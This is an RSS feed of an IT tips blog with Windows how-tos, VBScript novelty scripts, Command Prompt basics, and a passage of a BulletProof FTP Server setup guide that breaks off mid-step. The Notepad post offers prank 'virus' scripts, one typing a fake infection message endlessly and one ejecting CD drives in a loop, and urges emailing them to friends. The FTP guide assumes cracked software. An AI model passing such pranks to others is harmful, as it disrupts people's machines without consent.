<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-1268181409109340851</atom:id><lastBuildDate>Tue, 19 Nov 2019 07:04:59 +0000</lastBuildDate><category>Tips and Trick</category><category>IT Update</category><category>Mobile</category><category>Articles</category><category>Windows</category><category>Troubleshooting</category><category>Hardware</category><category>Software</category><category>Online Business Tips</category><category>Webmaster</category><category>Networking</category><category>Design</category><category>Template</category><category>Antivirus</category><category>Themes</category><category>Photoshop</category><category>Video Tutorial</category><category>Office</category><category>Web Template</category><category>Linux</category><category>Android</category><title>ITGuide888</title><description>Information Technology Resources -  Software | Hardware | Tips &amp;amp; Trick</description><link>http://it-guide888.blogspot.com/</link><managingEditor>noreply@blogger.com (Agung Prasetiawan,)</managingEditor><generator>Blogger</generator><openSearch:totalResults>443</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-6189018506213788737</guid><pubDate>Sun, 15 Jan 2017 09:39:00 +0000</pubDate><atom:updated>2017-01-15T01:39:00.187-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tips and Trick</category><category domain="http://www.blogger.com/atom/ns#">Windows</category><title>Disable USB ports on Windows PC via Registry </title><description>Disable USB ports on Windows PC via Registry &lt;br /&gt;&lt;br /&gt;With this trick, you can disable access to your USB(Universal Serial Bus) ports on your Windows based PC to prevent people from taking out data without permission or spreading viruses through the use of USB (pen and flash) drives.&lt;br /&gt;&lt;br /&gt;To use this trick to disable USB ports, follow the steps given below:-&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Click on Start.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Click on Run. If you cannot find RUN, type it in the search box.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Type &quot;regedit&quot; without quotes. This will launch the Registry Editor.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Navigate to&amp;nbsp; HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\usbstor.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In the work area, double click on Start.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In the Value Data box, enter 4.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Click on OK.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Close Registry Editor and refresh your desktop.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; To re-enable access to your USB ports, enter 3 in the Value Data box in Step 6.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Disable access to USB ports on your PC using Registry Editor&lt;br /&gt;&lt;br /&gt;Try it yourself to make your PC invulnerable from data theft and malware which spread through USB ports. This works on Windows 10, Windows 8, Windows 8.1, Windows 7 and Windows XP.&lt;br /&gt;&lt;br /&gt;Note: This trick also disables access to your USB connected peripheral devices. So, do not use it if you have USB connected keyboard and mouse.&lt;br /&gt;&lt;br /&gt;Credits : http://www.tweakandtrick.com/2010/07/disable-access-to-usb-ports-in-your-pc.html</description><link>http://it-guide888.blogspot.com/2017/01/disable-usb-ports-on-windows-pc-via.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-3629316214598179129</guid><pubDate>Sat, 14 Jan 2017 09:36:00 +0000</pubDate><atom:updated>2017-01-14T01:36:03.305-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tips and Trick</category><category domain="http://www.blogger.com/atom/ns#">Windows</category><title>Cool Keyboard Tricks (Windows) : Make a Disco </title><description>Cool Keyboard Tricks (Windows) : Make a Disco &lt;br /&gt;&lt;br /&gt;Keyboards usually have small LEDs which indicate whether different types of locks are activated or not. Here is a trick to use the lights of your keyboard in a more creative manner in Windows.&lt;br /&gt;&lt;br /&gt;This trick uses a simple Visual Basic Script which when activated makes your Scroll lock, Caps lock and Num lock LEDs flash in a cool rhythmic way which gives the perception of a live disco on your keyboard.&lt;br /&gt;&lt;br /&gt;Keyboard tricks&lt;br /&gt;&lt;br /&gt;To make your own live disco, follow the steps given below:-&lt;br /&gt;&lt;br /&gt;1. Open Notepad.&lt;br /&gt;2. Copy paste the exact code given below:-&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Set wshShell =wscript.CreateObject(&quot;WScript.Shell&quot;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; do&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; wscript.sleep 100&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; wshshell.sendkeys &quot;{CAPSLOCK}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; wshshell.sendkeys &quot;{NUMLOCK}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; wshshell.sendkeys &quot;{SCROLLLOCK}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; loop&lt;br /&gt;&lt;br /&gt;3. Save the file as Disco.vbs or &quot;*.vbs&quot;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cool Keyboard Tricks&lt;br /&gt;&lt;br /&gt;Double click on the Saved file to see the LED lights on your keyboard go crazy and make your own cool disco.&lt;br /&gt;&lt;br /&gt;This trick has been tested on Windows XP, Windows Vista, Windows 7 and Windows 8 and found to be working perfectly.&lt;br /&gt;&lt;br /&gt;You can disable the keyboard disco by starting Task Manager and ending the wscript.exe process.&lt;br /&gt;&lt;br /&gt;Credits : http://www.tweakandtrick.com/2010/12/cool-keyboard-tricks-windows-make-disco.html</description><link>http://it-guide888.blogspot.com/2017/01/cool-keyboard-tricks-windows-make-disco.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-7589470530349856997</guid><pubDate>Fri, 13 Jan 2017 09:38:00 +0000</pubDate><atom:updated>2017-01-13T01:38:01.443-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tips and Trick</category><category domain="http://www.blogger.com/atom/ns#">Windows</category><title>Use Keyboard as Mouse [How To]</title><description>Use Keyboard as Mouse [How To]&lt;br /&gt;&lt;br /&gt;If your mouse is not working and you don&#39;t wish to wait till you get a new mouse, you would definitely like to know how you can use your keyboard as mouse. It is easy to use your mouse as keyboard in Windows using the On Screen Keyboard utility, but it is also possible to do the reverse.&lt;br /&gt;&lt;br /&gt;Keyboard Mouse&lt;br /&gt;&lt;br /&gt;All you need to do is:&lt;br /&gt;&lt;br /&gt;Windows XP Users:-&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Go to Control Panel.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Then click on Switch to Classic View.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Then Click on Accessibility Options.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Then Click on the Mouse Tab.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Select Use MouseKeys.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Click on OK.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Then activate NumberLock (by pressing the NumLk key).&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; You should hear a beep sound.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now you can control the mouse pointer using the arrow keys on the numeric keypad.&lt;br /&gt;&lt;br /&gt;use keyboard as mouse&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Windows 8, Windows 7 and Vista Users:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Open Ease of Access Center by clicking the Start button , clicking Control Panel, clicking Ease of Access, and then clicking Ease of Access Center.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Click Make the mouse easier to use.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Under Control the mouse with the keyboard, select the Turn on Mouse Keys check box.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can also increase the acceleration and speed of your mouse movements according to your needs.&lt;br /&gt;&lt;br /&gt;You can alternately press the Alt+Shift+Num Lock combination to instantly activate Mouse keys.&lt;br /&gt;&lt;br /&gt;Laptop Keyboard Mouse&lt;br /&gt;&lt;br /&gt;For laptops, this will only work if your keyboard has a numeric keypad or alternate keys which you can enable by pressing the Number Lock or the Function key.&lt;br /&gt;&lt;br /&gt;On my laptop, number 6 key of the numeric keypad moves the mouse pointer left, number 4 key moves the mouse pointer right, number 2 key moves it down, number 8 key moves the mouse pointer up, number 5 and + key serve as right click while the number 0 key works as left click.&lt;br /&gt;&lt;br /&gt;Credits : http://www.tweakandtrick.com/2010/06/use-your-keyboard-as-mouse.html</description><link>http://it-guide888.blogspot.com/2017/01/use-keyboard-as-mouse-how-to.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-3210674751944588298</guid><pubDate>Thu, 12 Jan 2017 09:35:00 +0000</pubDate><atom:updated>2017-01-12T01:35:13.392-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tips and Trick</category><category domain="http://www.blogger.com/atom/ns#">Windows</category><title>Make your Computer Welcome You</title><description>Make your Computer Welcome You&lt;br /&gt;&lt;br /&gt;Do you watch movies? Have you always loved the way how Computers in movies welcome their users by calling out their names? I bet that you too would want to know how you can achieve similar results on your PC and have a computer said welcome.&lt;br /&gt;&lt;br /&gt;Then you are at the right place, this article describes exactly how you can make your computer welcome you like this.&lt;br /&gt;&lt;br /&gt;With this trick, you can make your Computer welcome you in its computerized voice. You can make your Windows based computer say &quot;Welcome to your PC, Username.&quot;&lt;br /&gt;&lt;br /&gt;Make Windows Greet you with a Custom Voice Message at Startup&lt;br /&gt;&lt;br /&gt;To use this trick, follow the instructions given below:-&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Click on Start. Navigate to All Programs, Accessories and Notepad.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Copy and paste the exact code given below.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim speaks, speech&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; speaks=&quot;Welcome to your PC, Username&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Set speech=CreateObject(&quot;sapi.spvoice&quot;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; speech.Speak speaks&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3.&amp;nbsp; Replace Username with your own name.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 4.&amp;nbsp; Click on File Menu, Save As, select All Types in Save as Type option, and save the file as Welcome.vbs or &quot;*.vbs&quot;.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5.&amp;nbsp; Copy the saved file.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 6.&amp;nbsp; Navigate to C:\Documents and Settings\All Users\Start Menu\Programs\Startup (in Windows XP) and to C:\Users\ {User-Name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup (in Windows 10, Windows 8, Windows 7 and Windows Vista) if C: is your System drive. AppData is a hidden folder. So, you will need to select showing hidden folders in Folder options to locate it. If you have trouble locating the startup folder, press Windows key+R and type shell:startup in the Run dialog box and press Enter. The startup folder will open.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7.&amp;nbsp; Paste the file.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Make your Computer Welcome you at startup&lt;br /&gt;&lt;br /&gt;Now when the next time you start your computer, Windows will welcome you in its own computerized voice.&lt;br /&gt;&lt;br /&gt;Note: For best results, it is recommended to change sound scheme to No Sounds.&lt;br /&gt;You can change the sound scheme to No Sounds by following the steps given below:-&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Go to Control Panel.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Then click on Switch to Classic View.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Then Click on Sounds and Audio Devices.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Then Click on the Sounds Tab.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Select No Sounds from the Sound Scheme option.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; If you wish to save your Previous Sound Scheme, you can save it by clicking Yes in the popup menu.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Click on OK.&lt;br /&gt;&lt;br /&gt;Change Sound Scheme to No Sounds&lt;br /&gt;&lt;br /&gt;Try it yourself to see how it works. In my personal opinion, this is an excellent trick. Whenever I start my PC in front of anybody and the PC welcomes me, the fellow is left wondering how brilliant a computer do I have.&lt;br /&gt;&lt;br /&gt;Credits : http://www.tweakandtrick.com/2010/07/make-your-computer-welcome-you.html</description><link>http://it-guide888.blogspot.com/2017/01/make-your-computer-welcome-you.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-6297470623040313542</guid><pubDate>Wed, 11 Jan 2017 09:32:00 +0000</pubDate><atom:updated>2017-01-11T01:32:04.761-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tips and Trick</category><title>Make your Computer Talk with VBScript</title><description>Make your Computer Talk with VBScript&lt;br /&gt;&lt;br /&gt;Have you ever wondered how can you make your computer speak whatever you input to it like in the movies? Would it not be fun? If only it was possible! Rejoice, because now it is possible. Well, if you wish to know how to do this, then you have come to the right place. With this trick, you can create a script in Windows which will make your computer speak whatever you input to it.&lt;br /&gt;&lt;br /&gt;To create one such talk script, follow the steps given below:-&lt;br /&gt;&lt;br /&gt;Steps&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Open Notepad.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Copy and paste the exact code given below.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim Message, Speak&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Message=InputBox(&quot;Enter text&quot;,&quot;Speak&quot;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Set Speak=CreateObject(&quot;sapi.spvoice&quot;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Speak.Speak Message &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3. Click on File Menu, Save As, select All Types in Save as Type option, and save the file as Speak.vbs or &quot;*.vbs&quot;.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 4.&amp;nbsp; Double click on the saved file, a window will open like the one in the image. Enter some text in enter text column and click OK.&lt;br /&gt;&lt;br /&gt;Now your Computer will speak / talk what you typed in Step 4. Try it yourself.&lt;br /&gt;&lt;br /&gt;Windows Compatibility: This VBS file can be executed on all versions of Windows including Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1 and Windows 10.&lt;br /&gt;&lt;br /&gt;Personal Experience: I personally showed this trick to many of my friends and they were literally left awestruck. You too can impress your friends by making your PC talk and be the computer wiz.&lt;br /&gt;&lt;br /&gt;Credits : http://www.tweakandtrick.com/2010/06/make-talk-it-script-in-windows-xp.html</description><link>http://it-guide888.blogspot.com/2017/01/make-your-computer-talk-with-vbscript.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-2481313724763004588</guid><pubDate>Tue, 10 Jan 2017 09:31:00 +0000</pubDate><atom:updated>2017-01-10T01:31:08.374-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tips and Trick</category><title>Command Prompt Tricks, Hacks &amp; Codes </title><description>1-Watch ASCII version of the Star Wars Episode IV movie&lt;br /&gt;Surprised yet? You can watch an ASCII version of the full Star Wars Episode IV Movie right in your command prompt window. Just open command prompt, type a small code and the movie will start playing immediately.&lt;br /&gt;&lt;br /&gt;2- Create Matrix falling code effect&lt;br /&gt;Have you watched “The Matrix”? Of course, you have. Then, you already know what I am talking about. In case you still don&#39;t know what I mean&lt;br /&gt;&lt;br /&gt;3- Make Folders that you cannot delete&lt;br /&gt;Are you tired of accidentally deleting important folders? Well, if you are, you can learn how to make undeletable folders&lt;br /&gt;&lt;br /&gt;4- Shutdown your computer giving a funny reason&lt;br /&gt;What if your computer shuts down saying that it is tired and doesn&#39;t want to work anymore? It would be fun, wouldn&#39;t it?&lt;br /&gt;&lt;br /&gt;5- Know your IP address, DNS Server&#39;s address and a lot more about your Internet Connection&lt;br /&gt;Command Prompt can even let you know your IP address. Just type ipconfig/ all in the command prompt and press Enter. Along with your IP address and DNS servers, command prompt will also return a ton of information like your host name, primary DNS suffix, node type, whether IP Routing ,Wins Proxy, and DHCP are enabled, your network adapter&#39;s description, your physical (MAC) address etc . &lt;br /&gt;&lt;br /&gt;6- Know if your neighbours are stealing your WiFi connection&lt;br /&gt;command prompt codes&lt;br /&gt;Command Prompt can let you know if someone is connected to your Local Area Connection and using it. Just follow the steps:-&lt;br /&gt;1) Open your browser and visit http://192.168.1.1 or http://192.168.0.1 depending on your router.&lt;br /&gt;2) Find the tab that mentions “Attached Devices” or something similar.&lt;br /&gt;3) Find the computer name, IP address and MAC Address (sometimes called Physical Address or Hardware Address) of your computer using the previous trick.&lt;br /&gt;4 )Compare it with those displayed by your router in Step 2. If you notice some strange devices, then your neighbour has been sneaking in on your internet connection and it is best to add a password.&lt;br /&gt;&lt;br /&gt;7- Know if someone is hacking your computer/ Trace a Hacker&lt;br /&gt;Command Prompt hacks&lt;br /&gt;Want to know if someone is hacking your computer? Command Prompt can help you find if someone you don&#39;t know is connected to your computer stealing private data. Just execute netstat -a and the command prompt will return a list of computers that your computer is connected to. In the results returned, Proto column gives the type of data transmission taking place (TCP or UDP) , Local address column gives the port with which your computer is connected to an external computer and the Foreign Address column gives the external computer you are connected to along with the port being used for the connection. State gives the state of the connection (whether a connection is actually established, or waiting for transmission or is “Timed Out”).&lt;br /&gt;&lt;br /&gt;These tricks work on Windows 10, Windows 8.1, Windows 8, Windows 7, Windows Vista, Windows XP and all previous versions of Windows.&lt;br /&gt;&lt;br /&gt;Credits : http://www.tweakandtrick.com/2011/09/command-prompt-tricks-hacks-codes.html</description><link>http://it-guide888.blogspot.com/2017/01/command-prompt-tricks-hacks-codes.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-7965553706500044079</guid><pubDate>Mon, 09 Jan 2017 09:02:00 +0000</pubDate><atom:updated>2017-01-09T01:02:04.401-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tips and Trick</category><title>Notepad Tricks: Cool Notepad tricks for Windows </title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Notepad, the text editor that comes bundled in Windows is an excellent  tool for text editing. But that is not the only thing for which notepad  is famous. It is also famous for its tricks and hacks. Here is a roundup  of some of the best and coolest tricks that you can try using Notepad.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;h2 id=&quot;matrix&quot; style=&quot;text-align: justify;&quot;&gt;Matrix Falling Code Effect - Notepad CMD (.BAT) Tricks&lt;/h2&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Inspired  by the movie Matrix, this falling code trick is extremely popular on  social networking websites. Copy and paste the code given below in  Notepad and save the file as &quot;Matrix.bat&quot; or *.bat.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;@echo off&lt;br /&gt;color 02&lt;br /&gt;:tricks&lt;br /&gt;echo %random%%random%%random%%random%%random%%random%%random%%random%&lt;br /&gt;goto tricks&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Upon running the bat file, you will see the &quot;Matrix falling code&quot; effect.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;h2 style=&quot;text-align: justify;&quot;&gt;Make Your Keyboard Type (Any) Message Continuously-VBS Trick&lt;/h2&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;This  VBS trick can make any of your friend&#39;s keyboard type any message  continuously. Open Notepad, copy the code given below and save the file  as Tricks.vbs or *.vbs. You will need to restart your computer to stop  this. Try this after closing all important programs.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Set wshShell = wscript.CreateObject(&quot;WScript.Shell&quot;)&lt;br /&gt;do&lt;br /&gt;wscript.sleep 100&lt;br /&gt;wshshell.sendkeys &quot;This is a Virus. You have been infected.&quot;&lt;br /&gt;loop&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Send this file to your friends as an email attachment to see the fun.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;h2 style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;Create a Harmless Funny Virus with Notepad-Continuously eject CD/DVD drives&lt;br /&gt;&lt;/span&gt;&lt;/h2&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;This VBS trick will create a code which will continuously eject all your  connected Optical drives. If you put them back in, it will pop them out  again. Copy this code and paste it in Notepad as Virus.vbs or *.vbs.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;Set oWMP = CreateObject(&quot;WMPlayer.OCX.7&quot;)&lt;br /&gt;Set colCDROMs = oWMP.cdromCollection&lt;br /&gt;do&lt;br /&gt;if colCDROMs.Count &amp;gt;= 1 then&lt;br /&gt;For i = 0 to colCDROMs.Count - 1&lt;br /&gt;colCDROMs.Item(i).Eject&lt;br /&gt;Next&lt;br /&gt;For i = 0 to colCDROMs.Count - 1&lt;br /&gt;colCDROMs.Item(i).Eject&lt;br /&gt;Next&lt;br /&gt;End If&lt;br /&gt;wscript.sleep 5000&lt;br /&gt;loop&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;Double click to open this file and you will be impressed by this awesome trick.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;h2 style=&quot;text-align: justify;&quot;&gt;Make a Personal Diary(Log) with Notepad (Easter Eggs)&lt;/h2&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;You can use this trick to create a personal log with Notepad which will  automatically include the current date and time before your note. To do  so, open Notepad and type &lt;b&gt;.LOG&lt;/b&gt; in capital letters and press  Enter. Save the file. Now, every time you open this file, notepad will  automatically insert the current time and date before the note. Just  enter your note and save the file each time after making an entry.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;All these Notepad tricks are totally harmless and would not harm your PC  in any way.&amp;nbsp; To close any of the VBS trick given, open task manager and  close the wscript.exe process. These tricks work on &lt;b&gt;Windows 10, Windows 8.1, Windows 8, Windows 7, Windows Vista&lt;/b&gt; and &lt;b&gt;Windows XP&lt;/b&gt; &lt;/div&gt;</description><link>http://it-guide888.blogspot.com/2017/01/notepad-tricks-cool-notepad-tricks-for.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-7286089817166454719</guid><pubDate>Tue, 03 Jan 2017 07:40:00 +0000</pubDate><atom:updated>2017-01-02T23:40:06.065-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Articles</category><title>BulletProof FTP Server Tutorial</title><description>thanks to someone for this tut. &lt;br /&gt;&lt;br /&gt;Configuring your Bulletproof FTP Server Tutorial &lt;br /&gt;&lt;br /&gt;I am not sure where I found this tutorial, Its been a whileIt might even have been here... ..So if it is one of yours, my hat goes off to you once again.... &lt;br /&gt;&lt;br /&gt;After reading the excellent tutorial on &quot;Creating an FTP&quot; that Norway posted &lt;br /&gt;&lt;br /&gt;(I would suggest reading and following his tutorial first, then following up with this one) &lt;br /&gt;&lt;br /&gt;I thought that perhaps this tutorial might be pretty helpful for those interested in knowing how to configure their Bulletproof FTP Server that don&#39;t already know how... Here&#39;s how to get started &lt;br /&gt;&lt;br /&gt;This is for the BulletProof FTP Server 2.10. However, It should work fine on most following versions as well. &lt;br /&gt;&lt;br /&gt;I&#39;m assuming you have it installed and cracked. &lt;br /&gt;&lt;br /&gt;Basics &lt;br /&gt;1. Start the program. &lt;br /&gt;2. Click on Setup &amp;gt; Main &amp;gt; General from the pull-down menu. &lt;br /&gt;3. Enter your server name into the &#39;Server Name&#39; box. Under Connection set the Max number of users&quot; to any number. This is the limit as to how many users can be on your sever at any time. &lt;br /&gt;4. Click on the &#39;options&#39; tab of that same panel (on the side) &lt;br /&gt;5. Look at the bottom, under IP Options. Put a check in the box Refuse Multiple Connections from the same IP. This will prevent one person from blocking your FTP to others. &lt;br /&gt;6. Also put a check in the &#39;Blocked Banned IP (instead of notifying client). VERY IMPORTANT! If somebody decides to &#39;Hammer&#39; (attempt to login numerous times VERY quickly) your server/computer may CRASH if you don&#39;t enable this. &lt;br /&gt;7. Click on the &#39;advanced&#39; tab &lt;br /&gt;8. At the bottom again look at the &#39;hammering area&#39; &lt;br /&gt;9. Enable &#39;anti-hammer&#39; and &#39;do not reply to people hammering&#39; Set it for the following: Block IP 120 min if 5 connections in 60 sec. You can set this at whatever you want to but that is pretty much a standard Click &#39;OK&#39; &lt;br /&gt;&lt;br /&gt;Adding Users &lt;br /&gt;11. Setup &amp;gt; User accounts form pull-down. &lt;br /&gt;12. Right click in the empty &#39;User Accounts&#39; area on the right: choose &#39;Add&#39; &lt;br /&gt;13. Enter account name. (ie: logon name) &lt;br /&gt;14. In the &#39;Access rights&#39; box right click: choose Add. &lt;br /&gt;15. Browse until you find the directory (folder) you want to share. In the right column you will see a bunch of checkboxes. Put a check in the following ones: Read, Write, Append, Make, List, and +Subdirs. Press &#39;select&#39;. &lt;br /&gt;16. Enter a password for your new FTP account. &lt;br /&gt;17. Click on &#39;Miscellaneous&#39; in the left column. Make sure &#39;Enable Account&#39; is selected. Enable &#39;Max Number of Users&#39; set it at a number other than zero. 1 for a personal account and more that one for a group account. Enable &#39;Max. no. of connects per IP&#39; set it at 1 &lt;br /&gt;&lt;br /&gt;18. Under &#39;Files&#39; enable &#39;show relative path&#39; this is a security issue. A FTP client will now not be able to see the ENTIRE path of the FTP. It will only see the path from the main directory. Hide hidden flies as well. &lt;br /&gt;Put a tick in both of these. &lt;br /&gt;&lt;br /&gt;Advanced: &lt;br /&gt;You don&#39;t need to do any of this stuff, but It will help tweak your server and help you maintain order on it. All of the following will be broken down into small little areas that will tell you how to do one thing at a time. &lt;br /&gt;&lt;br /&gt;Changing the Port &lt;br /&gt;The default port is always 21, but you can change this. Many ISPs will routinely do a scan of its own users to find a ftp server, also when people scan for pubs they may scan your IP, thus finding your ftp server. If you do decide to change it many suggest that you make the port over 10,000. &lt;br /&gt;1. Setup &amp;gt; Main &amp;gt; 